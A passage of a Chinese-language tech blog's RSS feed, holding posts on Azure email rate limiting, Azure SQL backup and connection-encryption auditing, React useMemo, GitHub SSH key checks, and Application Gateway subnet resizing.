<p class="wp-block-paragraph">與其等收到 429 才來重試，不如在「出門前」就先排隊。我們可以在記憶體中建立一個 Token Bucket 速率限制器（例如使用 Go 的 <code>golang.org/x/time/rate</code>）。</p>



<ul class="wp-block-list">
<li><strong>實作邏輯</strong>：將速率限制器封裝在 ACS Client 內，每次呼叫 <code>Send()</code> 前，都必須先執行 <code>limiter.Wait(ctx)</code>。</li>



<li><strong>參數彈性化（拒絕 Hardcode）</strong>：建議將限制速率改為<strong>環境變數化（例如 <code>ACS_EMAIL_RATE_PER_MINUTE</code>）</strong>：
<ul class="wp-block-list">
<li>測試環境（Managed Domain）：設為 <code>4</code>（低於上限 5，保留 1 封緩衝）。</li>



<li>生產環境（Custom Domain）：設為 <code>24</code>（低於上限 30，保留 6 封緩衝）。</li>
</ul>
</li>



<li><strong>優點</strong>：並發的 Goroutine 會自動在本地排隊，不會佔用 HTTP 連線，更不會頻繁去撞 Azure 的 API 牆。</li>
</ul>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Layer 3：切換自訂網域與申請提升 Quota</h3>



<p class="wp-block-paragraph">如果業務量持續成長，本地排隊隊伍越來越長，這代表您必須提升物理上限了。</p>



<ol start="1" class="wp-block-list">
<li><strong>全面捨棄 Managed Domain</strong>，切換至 <strong>Custom Domain</strong>，將基本盤直接從 5 封/分 擴展至 30 封/分。</li>



<li>若 30 封/分 仍不敷使用，可以前往 Azure Portal 提交 <strong>Support Ticket</strong>，問題類型選擇 <code>Service and subscription limits (quotas)</code>，申請將 ACS Email 的發送速率調高（例如調整至 60 或 120 封/分）。</li>



<li>此時，由於我們在 <strong>Layer 2</strong> 將速率做成了環境變數，我們<strong>不需要修改任何程式碼、不需要重新打包 Docker Image</strong>，只需要更改雲端環境變數（例如將 <code>ACS_EMAIL_RATE_PER_MINUTE</code> 改為 <code>54</code>），重啟服務即可完美對接新的 Quota！</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4dd.png" alt="📝" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 總結</h2>



<p class="wp-block-paragraph">處理雲端服務的 Rate Limit 是後端工程師的必修課。透過 <strong>Layer 2 (本地排隊限制速率)</strong> 避免主動違規、<strong>Layer 1 (退讓重試)</strong> 處理突發流量，再配合 <strong>Layer 3 (彈性環境變數與自訂網域)</strong> 提升硬體上限，你的系統就能擁有極高韌性，再也不怕被 ACS 的 429 錯誤給擊倒！</p>



<p class="wp-block-paragraph">希望這篇文章能幫助到正在與 Azure ACS 奮戰的你。歡迎在下方留言分享你們在處理第三方 API 限制時的心得！</p>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/06/azure-communication-services-acs-email-429/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Azure SQL Databas backup</title>
		<link>https://stackoverflow.max-everyday.com/2026/06/azure-sql-databas-backup/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/06/azure-sql-databas-backup/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Tue, 09 Jun 2026 03:05:11 +0000</pubDate>
				<category><![CDATA[Azure 筆記]]></category>
		<category><![CDATA[azure]]></category>
		<category><![CDATA[mssql]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8529</guid>

					<description><![CDATA[在 Azure SQL Database 當中，...]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">在 Azure SQL Database 當中，系統預設就會自動幫你執行備份，不需要手動建立備份排程。它會每週進行一次完整備份、每 12 到 24 小時進行一次差異備份，並且每 5 到 10 分鐘進行一次交易記錄備份。</p>



<p class="wp-block-paragraph">如果你想要手動微調整備份設定、延長保留時間，或是建立一個當下的資料庫複本，可以透過以下幾種常見的方法來達成。</p>



<h2 class="wp-block-heading">方法一：調整自動備份的保留時間與備份策略</h2>



<p class="wp-block-paragraph">如果你需要讓備份保留更久，可以到 Azure Portal 調整短期或長期保留原則。<sup></sup></p>



<ol start="1" class="wp-block-list">
<li>登入 Azure Portal 並且找到你的 <strong>Azure SQL Database</strong>。</li>



<li>在左側選單的 <strong>Data management</strong> 區塊中，點選 <strong>Backups</strong>。</li>



<li>點選畫面上方的 <strong>Configure policies</strong>。</li>



<li>調整你的 <strong>Short-term retention</strong>（短期保留，可設定 1 到 35 天）或是設定 <strong>Long-term retention</strong>（長期保留，最長可保存 10 年）。</li>



<li>在這個頁面中，你也可以更改 <strong>Backup storage redundancy</strong>（備份儲存體備援），選擇要使用本地備援、區域備援還是異地備援。</li>
</ol>



<h2 class="wp-block-heading">方法二：建立即時的資料庫複本</h2>



<p class="wp-block-paragraph">因為 Azure SQL 無法直接下達傳統的 <code>BACKUP DATABASE</code> 指令，如果你需要在進行重大更新前手動留底，最快的方式是直接複製一個新的資料庫。</p>



<h3 class="wp-block-heading">透過 Azure Portal 操作</h3>



<ol start="1" class="wp-block-list">
<li>在資料庫的 <strong>Overview</strong>（概觀）頁面。</li>



<li>點選上方的 <strong>Copy</strong>（複製）按鈕。</li>



<li>輸入新資料庫的名稱、選擇目的地伺服器，系統就會在背景開始複製。</li>
</ol>



<h3 class="wp-block-heading">透過 T-SQL 指令操作</h3>



<p class="wp-block-paragraph">你也可以直接連線到資料庫，執行以下指令來進行複製：</p>



<p class="wp-block-paragraph">SQL</p>



<pre class="wp-block-code"><code>CREATE DATABASE 新資料庫名稱 AS COPY OF 原資料庫名稱;
</code></pre>



<h2 class="wp-block-heading">方法三：匯出為 BACPAC 檔案</h2>



<p class="wp-block-paragraph">如果你需要將備份檔案下載到地端（On-premises）環境或是移動到其他帳號，可以將資料庫匯出成 BACPAC 檔案。<sup></sup></p>



<ol start="1" class="wp-block-list">
<li>在資料庫的 <strong>Overview</strong>（概觀）頁面。</li>



<li>點選畫面上方的 <strong>Export</strong>（匯出）。</li>



<li>輸入檔名，並選擇你要用來存放這個檔案的 <strong>Azure Storage Account</strong>（儲存體帳戶）與容器（Container）。</li>



<li>輸入 SQL Server 的管理員帳號與密碼，點選確定後系統就會開始將資料與結構打包成 BACPAC 檔案。</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">how to enable to my database?</p>



<p class="wp-block-paragraph">這取決於你是要啟用<strong>自動備份功能</strong>、<strong>長期備份保留（LTR）</strong>，還是要啟用<strong>資料庫複本</strong>。</p>



<p class="wp-block-paragraph">由於 Azure SQL Database 在建立時就<strong>已經預設自動啟用</strong>了基礎備份（每週完整備份、每天差異備份、每五分鐘日誌備份），如果你需要確認它是否正常運作，或是想要啟用更進階的備份功能，可以透過以下幾種方式來完成。</p>



<h2 class="wp-block-heading">檢查並確認自動備份是否啟用</h2>



<p class="wp-block-paragraph">系統內建的自動備份不需要額外開關，但你可以透過 Azure Portal 確認它的保留天數與狀態。</p>



<ol start="1" class="wp-block-list">
<li>登入 Azure Portal，並進入你的 <strong>Azure SQL Database</strong> 頁面。</li>



<li>在左側選單的 <strong>Data management</strong> 分類下，點選 <strong>Backups</strong>。</li>



<li>切換到 <strong>Available backups</strong> 標籤頁，在這裡你就可以看到目前資料庫已經自動產生的備份列表與可還原的時間點。</li>
</ol>



<h2 class="wp-block-heading">啟用長期備份保留（LTR）</h2>



<p class="wp-block-paragraph">如果你需要將備份保留數個月或數年（預設的自動備份最多只保留 35 天），你就需要手動啟用長期保留原則。</p>



<ol start="1" class="wp-block-list">
<li>在剛才的 <strong>Backups</strong> 頁面中，將標籤頁切換到 <strong>Retention policies</strong>。</li>



<li>勾選你需要調整的資料庫，並點選上方的 <strong>Configure policies</strong>。</li>



<li>在右側跳出的視窗中，勾選 <strong>Long-term retention</strong>。</li>



<li>根據需求填入你要保留的時間。例如：
<ul class="wp-block-list">
<li><strong>Weekly LTR backup</strong>：每週備份要保留幾週。</li>



<li><strong>Monthly LTR backup</strong>：每月第一個備份要保留幾個月。</li>



<li><strong>Yearly LTR backup</strong>：每年第一個備份要保留幾年。</li>
</ul>
</li>



<li>設定完成後點選 <strong>Apply</strong>，長期備份就會開始依據排程自動執行。</li>
</ol>



<h2 class="wp-block-heading">透過指令直接啟用並複製一個新資料庫</h2>



<p class="wp-block-paragraph">如果你希望立刻啟用一個一模一樣的獨立資料庫作為測試或臨時備份，你可以直接使用 T-SQL 或是 Azure CLI 指令。</p>



<h3 class="wp-block-heading">使用 T-SQL 指令</h3>



<p class="wp-block-paragraph">利用 SQL Server Management Studio（SSMS）或是 Azure 上的 Query editor 連線到你的主資料庫（或是 master 資料庫），執行以下指令：</p>



<p class="wp-block-paragraph">SQL</p>



<pre class="wp-block-code"><code>CREATE DATABASE 備份資料庫名稱 AS COPY OF 原資料庫名稱;
</code></pre>



<h3 class="wp-block-heading">使用 Azure CLI 指令</h3>



<p class="wp-block-paragraph">如果你習慣使用命令列工具，也可以直接在終端機輸入這行指令，系統就會立刻在同一個伺服器上啟用並複製一個新的資料庫：</p>



<p class="wp-block-paragraph">Bash</p>



<pre class="wp-block-code"><code>az sql db copy --dest-name 備份資料庫名稱 --name 原資料庫名稱 --resource-group 你的資源群組名稱 --server 你的伺服器名稱
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">我有些資料庫可以LTR, 有些沒, 沒的database how to enable LTR?</p>



<p class="wp-block-paragraph">看來你目前所在的頁面是 可用的備份 標籤頁。在這個頁面中，只有 已經成功產生長期備份 並且檔案還存在儲存體當中的資料庫，才會在 可用的 LTR 備份 欄位顯示 管理，其餘還沒有備份檔案的資料庫則會顯示 無。</p>



<p class="wp-block-paragraph">如果你想要為其他顯示 無 的資料庫啟用長期保留原則（LTR），你需要切換到另一個標籤頁進行設定。請依照以下步驟操作。</p>



<h2 class="wp-block-heading">啟用長期保留原則（LTR）設定步驟</h2>



<ol start="1" class="wp-block-list">
<li>點選畫面上方，在 可用的備份 左邊或右邊的 <strong>保留原則</strong>（Retention policies）標籤頁。</li>



<li>進入 保留原則 頁面後，你會看到所有的資料庫列表。</li>



<li>勾選你想要啟用 LTR 的資料庫（例如 <code>NYCUAUTH</code>、<code>portal-stg</code> 或其他目前顯示無的資料庫）。</li>



<li>勾選後，點選列表上方出現的 <strong>配置原則</strong>（Configure policies）按鈕。</li>



<li>此時畫面右側會跳出一個設定視窗，請找到 <strong>長期留存</strong>（Long-term retention）的區塊。</li>



<li>根據你的需求，自由填入以下欄位來啟用它：
<ul class="wp-block-list">
<li><strong>每週 LTR 備份</strong>：勾選並填入希望每週的備份要保留幾週或幾個月。</li>



<li><strong>每月 LTR 備份</strong>：勾選並指定每個月第一個備份要保留多久。</li>



<li><strong>每年 LTR 備份</strong>：勾選並指定每年第一個備份要保留幾年。</li>
</ul>
</li>



<li>設定完成後，點選最下方的 <strong>套用</strong>（Apply）或 <strong>儲存</strong> 按鈕。</li>
</ol>



<h2 class="wp-block-heading">注意事項</h2>



<p class="wp-block-paragraph">當你完成設定並儲存之後，因為 Azure SQL Database 是依照你設定的排程（例如每週或每月）在背景自動執行長期備份，所以它<strong>不會立刻</strong>在 可用的備份 標籤頁中從 無 變成 管理。</p>



<p class="wp-block-paragraph">系統必須等到下一個排程時間點到了，並且成功將第一份 LTR 備份檔案打包存入儲存體之後，該資料庫才會在這個頁面上顯示 管理 與上一次的備份時間。</p>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/06/azure-sql-databas-backup/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>認識 React useMemo</title>
		<link>https://stackoverflow.max-everyday.com/2026/06/react-usememo/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/06/react-usememo/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Sat, 06 Jun 2026 04:06:54 +0000</pubDate>
				<category><![CDATA[React 筆記]]></category>
		<category><![CDATA[React]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8526</guid>

					<description><![CDATA[在 React 之中，useMemo 是一個非常...]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">在 React 之中，<code>useMemo</code> 是一個非常實用且能優化效能的 Hook。簡單來說，它的核心功能就是「快取」，也就是幫你把複雜運算的結果存起來，避免重複執行沒必要的計算。</p>



<p class="wp-block-paragraph">要理解它為什麼能提升效率，我們需要先來看看 React 的運作機制。</p>



<h2 class="wp-block-heading">為什麼需要 useMemo？</h2>



<p class="wp-block-paragraph">在網頁運作時，只要元件的狀態（State）或屬性（Props）發生改變，React 就會重新渲染該元件。重新渲染意味著元件內部的所有程式碼，都會從上到下重新執行一次。</p>



<p class="wp-block-paragraph">想像一下，如果你的元件內有一個需要處理上萬條資料的排序函式，每次畫面一有風吹草動，這個排序函式就要重新跑一次，這會消耗極大的瀏覽器運算資源，導致畫面出現卡頓。</p>



<p class="wp-block-paragraph"><code>useMemo</code> 就是為了解決這個問題而誕生的。</p>



<h2 class="wp-block-heading">useMemo 的運作原理</h2>



<p class="wp-block-paragraph"><code>useMemo</code> 的基本語法如下：</p>



<p class="wp-block-paragraph">JavaScript</p>



<pre class="wp-block-code"><code>const memoizedValue = useMemo(() =&gt; computeExpensiveValue(a, b), &#91;a, b]);
</code></pre>



<p class="wp-block-paragraph">它接收兩個參數：</p>



<ol start="1" class="wp-block-list">
<li>一個帶有回傳值的函式，裡面放置你需要進行的複雜運算。</li>



<li>一個陣列，稱為「相依陣列」（Dependency Array）。</li>
</ol>



<p class="wp-block-paragraph">它的工作流程非常聰明：</p>



<h3 class="wp-block-heading">1. 記憶結果</h3>



<p class="wp-block-paragraph">當元件第一次渲染時，<code>useMemo</code> 會執行內部的函式，並把算好的結果存到記憶體中。</p>



<h3 class="wp-block-heading">2. 比對相依陣列</h3>



<p class="wp-block-paragraph">當元件重新渲染時，<code>useMemo</code> 會去檢查相依陣列裡面的變數（例如上面的 <code>a</code> 和 <code>b</code>）有沒有發生改變。</p>



<h3 class="wp-block-heading">3. 決定是否重新計算</h3>



<ul class="wp-block-list">
<li>如果 <code>a</code> 和 <code>b</code> 的值跟上一次一模一樣，<code>useMemo</code> 就會直接從記憶體拿取上一次算好的結果，完全跳過內部的運算函式。</li>



<li>只有當 <code>a</code> 或 <code>b</code> 的值改變了，它才會重新執行運算，並更新記憶體裡的暫存答案。</li>
</ul>



<h2 class="wp-block-heading">為什麼這樣可以提升效率？</h2>



<p class="wp-block-paragraph">我們用一個生活中的例子來比喻：</p>



<p class="wp-block-paragraph">假設老師每天都會考你一題非常複雜的數學題。</p>



<ul class="wp-block-list">
<li><strong>沒有使用 useMemo 的情況</strong>：你每天早上拿到題目，就算題目跟昨天完全一樣，你還是老老實實地在計算紙上從第一步算到最後一步，花了 20 分鐘才寫出答案。</li>



<li><strong>使用了 useMemo 的情況</strong>：你發現題目沒變，於是直接翻開昨天的筆記本，把寫在上面的答案抄上去，只花了 2 秒鐘。只有當老師換了新題目，你才會重新動筆計算。</li>
</ul>



<p class="wp-block-paragraph">在程式裡也是一樣。透過快取機制，<code>useMemo</code> 幫瀏覽器省去了大量重複的 CPU 計算時間，讓網頁反應變得更加流暢。</p>



<h2 class="wp-block-heading">什麼時候該用 useMemo？</h2>



<p class="wp-block-paragraph">雖然 <code>useMemo</code> 很好用，但這並不代表所有地方都應該加上它。因為「把資料存進記憶體」以及「每次比對相依陣列」本身也需要消耗微小的效能。</p>



<p class="wp-block-paragraph">以下是適合使用的情境：</p>



<ol start="1" class="wp-block-list">
<li><strong>處理大量資料的運算</strong>：例如高達數千筆資料的過濾（Filter）、排序（Sort）或複雜轉換。</li>



<li><strong>避免不必要的子元件渲染</strong>：當你把一個物件或陣列當作 Props 傳給子元件時，因為 JavaScript 每次重新渲染都會產生新的物件記憶體位址，會導致子元件誤以為資料變了而跟著重新渲染。這時候用 <code>useMemo</code> 把物件固定住，就能阻止子元件浪費效能。</li>
</ol>



<p class="wp-block-paragraph">如果只是簡單的加減乘除或少數資料的處理，直接讓 React 重新計算即可，不需要刻意使用 <code>useMemo</code>。</p>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/06/react-usememo/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>在 Windows 命令提示字元（CMD）或 PowerShell 當中，如果想要檢查自己的 SSH 金鑰（SSH Key）到底綁定了哪一個 GitHub 帳號，可以使用一條簡單的測試指令來確認</title>
		<link>https://stackoverflow.max-everyday.com/2026/06/windows-cmd-check-github-account/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/06/windows-cmd-check-github-account/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Sat, 06 Jun 2026 03:05:28 +0000</pubDate>
				<category><![CDATA[電腦相關應用]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8523</guid>

					<description><![CDATA[因為你在指令中使用了環境變數，在不同的視窗環境下...]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">因為你在指令中使用了環境變數，在不同的視窗環境下，寫法會稍微有一點點不同。</p>



<p class="wp-block-paragraph">如果你使用的是 PowerShell 視窗，請輸入以下指令：</p>



<p class="wp-block-paragraph">ssh -T -i &#8220;$env:USERPROFILE.ssh\your-key_ed25519&#8221; git@github.com</p>



<p class="wp-block-paragraph">如果你使用的是傳統的 CMD 視窗，請輸入以下指令：</p>



<p class="wp-block-paragraph">ssh -T -i &#8220;%USERPROFILE%.ssh\your-key_ed25519&#8221; git@github.com</p>



<p class="wp-block-paragraph">當你按下 Enter 鍵執行之後，系統會連線到 GitHub 並回傳訊息，請根據畫面上顯示的文字來判斷結果：</p>



<p class="wp-block-paragraph">如果畫面顯示 Hi 小帳的名字! 開頭的文字，代表這把金鑰已經正確設定在 小帳底下了。</p>



<p class="wp-block-paragraph">如果畫面顯示 Hi max32002! 開頭的文字，代表這把金鑰目前被綁定到了錯誤的帳號。</p>



<p class="wp-block-paragraph">目前系統檢查出來的結果依然顯示為 max32002 ，這代表你還需要去登入小帳的 GitHub 帳號，並將這把金鑰重新新增進去，才能正常使用。</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">實際執行上面句子, 會遇到錯誤因為</p>



<p class="wp-block-paragraph">在 CMD 環境中，系統無法辨識以 $ 開頭的變數符號，因為那是 PowerShell 的專屬語法。如果在 CMD 裡使用，系統會找不到路徑。</p>



<p class="wp-block-paragraph">請改用以下適合 CMD 的指令：</p>



<p class="wp-block-paragraph">DOS</p>



<pre class="wp-block-code"><code>ssh -T -i "%USERPROFILE%\.ssh\your-key_ed25519" git@github.com
</code></pre>



<p class="wp-block-paragraph">或是直接填入完整的絕對路徑：</p>



<p class="wp-block-paragraph">DOS</p>



<pre class="wp-block-code"><code>ssh -T -i "C:\Users\max32\.ssh\your-key_ed25519" git@github.com
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">File: C:\Users\max32\.ssh\config </p>



<pre class="wp-block-code"><code># Default GitHub account: max32002
Host github.com
    HostName github.com
    User git
    IdentityFile ~/.ssh/id_rsa
    IdentitiesOnly yes

# GitHub account: max2little (use host alias: github-max2little)
Host github-max2little
    HostName github.com
    User git
    IdentityFile ~/.ssh/max2little_ed25519
    IdentitiesOnly yes</code></pre>



<p class="wp-block-paragraph">設定已經全部完成！以下是設定內容的摘要：</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>帳號</strong></td><td><strong>SSH 主機名稱</strong></td><td><strong>金鑰名稱</strong></td></tr></thead><tbody><tr><td>max32002 （預設, 大帳）</td><td>git@github.com</td><td>id_rsa</td></tr><tr><td>max2little (小帳)</td><td>git@github-max2little</td><td>max2little_ed25519</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">使用方法：未來在複製或設定 max2little 帳號的遠端儲存庫時，請將原本的 github.com 替換為 github-max2little。</p>



<p class="wp-block-paragraph">範例指令如下：</p>



<p class="wp-block-paragraph">Bash</p>



<pre class="wp-block-code"><code>git clone git@github-max2little:your-repo-name.git
</code></pre>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/06/windows-cmd-check-github-account/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>A minimum subnet size of /24 is recommended for Application Gateway v2 subnets</title>
		<link>https://stackoverflow.max-everyday.com/2026/06/a-minimum-subnet-size-of-24-is-recommended-for-application-gateway-v2-subnets/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/06/a-minimum-subnet-size-of-24-is-recommended-for-application-gateway-v2-subnets/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Wed, 03 Jun 2026 13:48:51 +0000</pubDate>
				<category><![CDATA[Azure 筆記]]></category>
		<category><![CDATA[azure]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8519</guid>

					<description><![CDATA[Via Azure CLI # Add new ...]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="453" src="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/2026-06-03_21-47_o4-1024x453.jpg?v=1780494450" alt="" class="wp-image-8520" srcset="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/2026-06-03_21-47_o4-1024x453.jpg?v=1780494450 1024w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/2026-06-03_21-47_o4-600x265.jpg?v=1780494450 600w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/2026-06-03_21-47_o4-768x339.jpg?v=1780494450 768w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/2026-06-03_21-47_o4.jpg?v=1780494450 1224w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">Via Azure CLI</p>



<p class="wp-block-paragraph"># Add new /24 subnet<br>az network vnet subnet create \<br>&#8211;resource-group rg-spoke-paas \<br>&#8211;vnet-name \<br>&#8211;name snet-appgw-new \<br>&#8211;address-prefix 10.x.x.0/24</p>



<p class="wp-block-paragraph"># Then update AGW to use new subnet<br>az network application-gateway update \<br>&#8211;name agw-stg-jpe-001 \<br>&#8211;resource-group rg-spoke-paas \<br>&#8211;set gatewayIPConfigurations[0].subnet.id=</p>



<p class="wp-block-paragraph">Note: AGW subnet IP update via CLI may require a stop/start cycle. Plan for downtime or use blue/green deployment.</p>



<p class="wp-block-paragraph">Would you like help calculating an available /24 block in your VNet, or generating the full ARM/Bicep template?</p>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/06/a-minimum-subnet-size-of-24-is-recommended-for-application-gateway-v2-subnets/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Azure SQL Database 連線加密（Connection Encryption）預設也是強制開啟的</title>
		<link>https://stackoverflow.max-everyday.com/2026/06/azure-sql-database-connection-encryption/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/06/azure-sql-database-connection-encryption/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Wed, 03 Jun 2026 07:16:37 +0000</pubDate>
				<category><![CDATA[電腦相關應用]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8515</guid>

					<description><![CDATA[公司的政策, 資料庫要連線加密, 並給我 sql...]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">公司的政策, 資料庫要連線加密, 並給我 sql server command:</p>



<pre class="wp-block-code"><code>-- 確認您已設定好網路加密並有成功啟用，請執行下列 Transact-SQL 查詢：
USE &#91;master]
GO
SELECT DISTINCT (encrypt_option)
FROM sys.dm_exec_connections;
GO</code></pre>



<p class="wp-block-paragraph">事實上，Azure SQL 為了確保雲端資料傳輸的安全，在網路層級有非常嚴格的加密規範。不論你在連線字串裡有沒有設定，所有進出 Azure SQL 的流量都必須經過 <strong>TLS (Transport Layer Security)</strong> 加密。</p>



<p class="wp-block-paragraph">你執行的這段指令完全正確，它能幫你檢查目前所有對資料庫的連線是否有進行加密。</p>



<h3 class="wp-block-heading">1. 執行結果分析</h3>



<p class="wp-block-paragraph">當你在 Azure SQL 執行上述指令後，你預期會看到唯一一個結果：</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>encrypt_option</strong></td></tr></thead><tbody><tr><td><strong>TRUE</strong></td></tr></tbody></table></figure>



<ul class="wp-block-list">
<li><strong>TRUE</strong>：代表該連線目前正透過 TLS/SSL 進行加密傳輸。</li>



<li>如果你在地端（On-Premises）自建的 SQL Server 執行，可能會看到 <code>FALSE</code>，但在 Azure SQL 上，<strong>你只會看到 <code>TRUE</code></strong>。</li>
</ul>



<h3 class="wp-block-heading">2. Azure SQL 的連線加密機制</h3>



<p class="wp-block-paragraph">Azure SQL 在連線安全上有以下幾個鐵律：</p>



<ul class="wp-block-list">
<li><strong>強制加密 (Force Encryption)</strong>：Azure SQL 伺服器端強制要求所有連線必須加密。即使客戶端（你的程式或 SSMS）在連線字串中寫了 <code>Encrypt=False</code>，Azure 依然會拒絕該未加密的連線請求。</li>



<li><strong>TLS 版本要求</strong>：目前 Azure SQL 預設要求 <strong>TLS 1.2 或以上</strong>。較舊、有安全性漏洞的 TLS 1.0 和 1.1 預設是被停用的（你也可以在 Azure Portal 中手動將最低要求提高到 TLS 1.2）。</li>
</ul>



<h3 class="wp-block-heading">3. 客戶端（你的程式或工具）該如何設定？</h3>



<p class="wp-block-paragraph">雖然 Azure 端強制加密，但為了防止 <strong>「中間人攻擊 (Man-in-the-Middle)」</strong>，最佳實踐是在你的應用程式連線字串（Connection String）中明確加上以下參數：</p>



<p class="wp-block-paragraph">Plaintext</p>



<pre class="wp-block-code"><code>Server=tcp:yourserver.database.windows.net,1433;Database=yourdb;Encrypt=True;TrustServerCertificate=False;
</code></pre>



<ul class="wp-block-list">
<li><strong><code>Encrypt=True</code></strong>：明確告知客戶端要啟用加密（與 Azure 端的強制政策呼應）。</li>



<li><strong><code>TrustServerCertificate=False</code></strong>：<strong>這點非常重要！</strong> 設定為 <code>False</code> 代表客戶端會嚴格驗證 Azure SQL 伺服器的 SSL 憑證是否合法（由信任的憑證頒發機構簽署）。如果設為 <code>True</code>，雖然會加密，但客戶端會盲目信任伺服器憑證，容易遭受中間人攔截。</li>
</ul>



<h3 class="wp-block-heading">總結</h3>



<p class="wp-block-paragraph">你的 TDE（靜態資料加密）和連線加密（傳輸中資料加密）在 Azure SQL 中都是<strong>預設啟動且強制執行</strong>的，這符合現代雲端資安的「預設安全 (Secure by Default)」原則！</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">SQL command:</p>



<pre class="wp-block-code"><code>SELECT DISTINCT (encrypt_option)
FROM sys.dm_exec_connections;</code></pre>



<p class="wp-block-paragraph">先回傳 False, 第回一列 True.</p>



<p class="wp-block-paragraph">你在執行結果中同時看到了 <strong><code>FALSE</code></strong> 和 <strong><code>TRUE</code></strong>，這代表目前連線到你這台 Azure SQL 伺服器的連線中，<strong>有部分連線沒有啟用加密（FALSE）</strong>。</p>



<p class="wp-block-paragraph">這通常會讓原本預期「Azure SQL 會強制加密」的人感到驚訝。以下為你說明為什麼會出現 <code>FALSE</code>，以及如何調整：</p>



<h3 class="wp-block-heading">1. 為什麼會出現 <code>FALSE</code>？</h3>



<p class="wp-block-paragraph">在 <strong>Azure SQL Managed Instance (MI)</strong> 或是某些特定設定的 <strong>Azure SQL Database</strong> 環境中，如果客戶端是透過<strong>內部虛擬網路 (VNet / Private Endpoint)</strong> 進行連線，且伺服器端的「高度安全連線重定向 (Redirect)」機制在舊版驅動程式下運作時，有些系統內部的路由連線或舊版工具可能會被判定為 <code>FALSE</code>。</p>



<p class="wp-block-paragraph">另外，如果你使用的是地端 <strong>SQL Server (VM 或實體機)</strong>，預設確實是允許 <code>FALSE</code>（未加密）連線的。</p>



<h3 class="wp-block-heading">2. 這是資安風險嗎？該如何稽核？</h3>



<p class="wp-block-paragraph">是的，出現 <code>FALSE</code> 代表有資料正在以明文（Plaintext）在網路間傳輸，這在生產環境（Production）或合規性要求高的環境中是不被允許的。</p>



<p class="wp-block-paragraph">你可以執行以下進階指令，揪出到底是「誰」或「哪台機器」在使用未加密的連線：</p>



<p class="wp-block-paragraph">SQL</p>



<pre class="wp-block-code"><code>SELECT 
    c.session_id,
    c.encrypt_option,
    s.login_name,
    c.client_net_address,
    s.program_name,
    s.host_name
FROM sys.dm_exec_connections c
JOIN sys.dm_exec_sessions s ON c.session_id = s.session_id;
</code></pre>



<p class="wp-block-paragraph">透過這個語法，你可以對照 <code>encrypt_option = 'FALSE'</code> 的那一列，查看：</p>



<ul class="wp-block-list">
<li><strong><code>client_net_address</code></strong>：是哪台 IP 連進來的？</li>



<li><strong><code>program_name</code></strong>：是用什麼應用程式（例如：舊版 .NET 程式、舊版 SSMS、或是某個背景服務）？</li>



<li><strong><code>login_name</code></strong>：是用哪個帳號登入的？</li>
</ul>



<h3 class="wp-block-heading">3. 如何強制所有人必須使用加密連線？</h3>



<p class="wp-block-paragraph">為了確保安全，你應該強制隔離那些未加密的連線。</p>



<h4 class="wp-block-heading">方案 A：從 Azure Portal 修改（最推薦）</h4>



<ol start="1" class="wp-block-list">
<li>登入 <strong>Azure Portal</strong>，找到你的 SQL Server (邏輯伺服器) 或 Managed Instance。</li>



